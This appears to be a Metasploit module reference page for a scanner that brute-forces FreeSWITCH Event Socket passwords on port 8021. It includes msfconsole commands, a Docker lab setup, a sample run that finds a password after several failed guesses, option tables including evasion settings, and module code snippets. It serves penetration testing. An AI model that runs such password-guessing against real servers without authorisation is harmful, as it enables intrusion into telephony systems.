FreeSWITCH Event Socket Login - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/misc/freeswitch_event_socket_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: FreeSWITCH Event Socket Login
Module: auxiliary/scanner/misc/freeswitch_event_socket_login
Source code: modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb
Disclosure date: -
Last modification time: 2022-07-01 12:22:31 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 8021
List of CVEs: -
This module tests FreeSWITCH Event Socket logins on a range of machines and report successful attempts.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-service-restarts: Module may crash the service, but the service restarts.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/misc/freeswitch_event_socket_login
msf auxiliary(freeswitch_event_socket_login) > show options
... show and set options ...
msf auxiliary(freeswitch_event_socket_login) > set RHOSTS ip-range
msf auxiliary(freeswitch_event_socket_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(freeswitch_event_socket_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(freeswitch_event_socket_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(freeswitch_event_socket_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
FreeSWITCH is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.
The Event Socket mod_event_socket
is a TCP based interface to
control FreeSWITCH and is enabled by default.
This module has been tested successfully on FreeSWITCH versions: * 1.10.7-release-19-883d2cb662~64bit on Debian 10.11 (buster)
Description
This module is a login utility to find the password of the FreeSWITCH event socket service by bruteforcing the login interface. Note that this service does not require a username to log in; login is done purely via supplying a valid password. This module will stops as soon as a valid password is found.
This service is enabled by default and listens on TCP port 8021 on the local network interface.
Source and Installers: * Source Code Repository * Installers * Virtual Machine * Docker
Docker installation:
docker pull drachtio/drachtio-freeswitch-mrf
docker run -d --rm --name FS1 --net=host \
-v /home/deploy/log:/usr/local/freeswitch/log \
-v /home/deploy/sounds:/usr/local/freeswitch/sounds \
-v /home/deploy/recordings:/usr/local/freeswitch/recordings \
drachtio/drachtio-freeswitch-mrf freeswitch --sip-port 5038 --tls-port 5039 --rtp-range-start 20000 --rtp-range-end 21000 --password hunter
Verification Steps
- Do:
use auxiliary/scanner/misc/freeswitch_event_socket_login
- Do:
set RHOSTS [ips]
- Do:
set PASS_FILE /home/kali/passwords.txt
- Do:
run
Options
PASS_FILE
The file containing a list of passwords to try logging in with.
Scenarios
FreeSWITCH 1.10.7 Linux Debian 10.11 (Docker Image)
msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt
PASS_FILE => /home/kali/passwords.txt
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > run
[!] 192.168.56.1:8021 - No active DB -- Credential data will not be saved!
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: ClueCon (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: admin (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 12345 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456789 (Incorrect: -ERR invalid)
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: password (Incorrect: -ERR invalid)
[+] 192.168.56.1:8021 - 192.168.56.1:8021 - Login Successful: hunter (Successful: +OK accepted)
[*] 192.168.56.1:8021 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/misc/freeswitch_event_socket_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > show info
Name: FreeSWITCH Event Socket Login
Module: auxiliary/scanner/misc/freeswitch_event_socket_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
krastanoel
Module stability:
crash-service-restarts
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_PASS false no Add all passwords in the current database to the list
PASSWORD ClueCon no FreeSWITCH event socket default password
PASS_FILE /opt/metasploit-framework/embedded/framework/da no The file that contains a list of of probable passwords.
ta/wordlists/unix_passwords.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
sploit
RPORT 8021 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
VERBOSE false yes Whether to print output for all attempts
Description:
This module tests FreeSWITCH Event Socket logins on a range of
machines and report successful attempts.
References:
https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket
Module Options
This is a complete list of options available in the scanner/misc/freeswitch_event_socket_login auxiliary module:
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > show options
Module options (auxiliary/scanner/misc/freeswitch_event_socket_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_PASS false no Add all passwords in the current database to the list
PASSWORD ClueCon no FreeSWITCH event socket default password
PASS_FILE /opt/metasploit-framework/embedded/framework/d no The file that contains a list of of probable passwords.
ata/wordlists/unix_passwords.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta
sploit
RPORT 8021 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
VERBOSE false yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/misc/freeswitch_event_socket_login auxiliary module:
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > show advanced
Module advanced options (auxiliary/scanner/misc/freeswitch_event_socket_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ForceExploit false no Override check result
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will no
t be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique amon
g different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both will be tried up
to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will n
ot be used.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23
, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASS
WORD_SPRAY=true)
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/misc/freeswitch_event_socket_login module can do:
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/misc/freeswitch_event_socket_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
LOGIN FAILED: <RESULT.CREDENTIAL.PRIVATE> (<RESULT.STATUS>: <VALUE>)
Here is a relevant code snippet related to the "LOGIN FAILED: <RESULT.CREDENTIAL.PRIVATE> (<RESULT.STATUS>: <VALUE>)" error message:
92: else
93: print_good("Login Successful: #{result.credential.private}")
94: end
95: else
96: invalidate_login(credential_data)
97: vprint_error("LOGIN FAILED: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
98: end
99: end
100: end
101:
102: def check_host(_ip)
Access denied by network ACL
Here is a relevant code snippet related to the "Access denied by network ACL" error message:
103: connect
104: banner = sock.get
105: disconnect(sock)
106:
107: if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
108: return Exploit::CheckCode::Safe('Access denied by network ACL')
109: end
110:
111: unless banner.include?('Content-Type: auth/request')
112: return Exploit::CheckCode::Unknown('Unable to determine the service fingerprint')
113: end
Unable to determine the service fingerprint
Here is a relevant code snippet related to the "Unable to determine the service fingerprint" error message:
107: if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
108: return Exploit::CheckCode::Safe('Access denied by network ACL')
109: end
110:
111: unless banner.include?('Content-Type: auth/request')
112: return Exploit::CheckCode::Unknown('Unable to determine the service fingerprint')
113: end
114:
115: return Exploit::CheckCode::Appears
116: end
117: end
Go back to menu.
Related Pull Requests
- #16763 Merged Pull Request: Fix crash in ms04-007-killbill
- #16617 Merged Pull Request: fix race condition when scanning short ranges
- #16718 Merged Pull Request: Fix
run_as
local exploit module on x64 systems - #16735 Merged Pull Request: enable MeterpreterTryToFork by default for aerohive_netconfig_lfi_log_poison_rce
- #16755 Merged Pull Request: It's CommonsBeanutils1 not CommonBeanutils1
- #16703 Merged Pull Request: Censys
- #16738 Merged Pull Request: correct CVE and add linting for weblogic_deserialize_asyncresponseservice
- #16733 Merged Pull Request: Add the dfscoerce module
- #16724 Merged Pull Request: ms01_026_dbldecode: Use HttpClient; remove meterpreter code; fix stager
- #16567 Merged Pull Request: Juniper config processor enhancements
- #16716 Merged Pull Request: Exploit::CmdStager: Expose CMDSTAGER::URIPATH option for HTTP stagers
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/misc/cctv_dvr_login
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/misc/clamav_control
- auxiliary/scanner/misc/dahua_dvr_auth_bypass
- auxiliary/scanner/misc/dvr_config_disclosure
- auxiliary/scanner/misc/easycafe_server_fileaccess
- auxiliary/scanner/misc/ibm_mq_channel_brute
- auxiliary/scanner/misc/ibm_mq_enum
- auxiliary/scanner/misc/ibm_mq_login
- auxiliary/scanner/misc/ib_service_mgr_info
- auxiliary/scanner/misc/java_jmx_server
- auxiliary/scanner/misc/java_rmi_server
- auxiliary/scanner/misc/oki_scanner
- auxiliary/scanner/misc/poisonivy_control_scanner
- auxiliary/scanner/misc/raysharp_dvr_passwords
- auxiliary/scanner/misc/rosewill_rxs3211_passwords
- auxiliary/scanner/misc/sercomm_backdoor_scanner
- auxiliary/scanner/misc/sunrpc_portmapper
- auxiliary/scanner/misc/zenworks_preboot_fileaccess
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- auxiliary/admin/misc/sercomm_dump_config
- auxiliary/admin/misc/wol
- auxiliary/dos/misc/dopewars
- auxiliary/dos/misc/ibm_sametime_webplayer_dos
- auxiliary/dos/misc/ibm_tsm_dos
- auxiliary/dos/misc/memcached
- exploit/dialup/multi/login/manyargs
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/gather/eventlog_cred_disclosure
- auxiliary/dos/http/cable_haunt_websocket_dos
Authors
- krastanoel
Version
This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.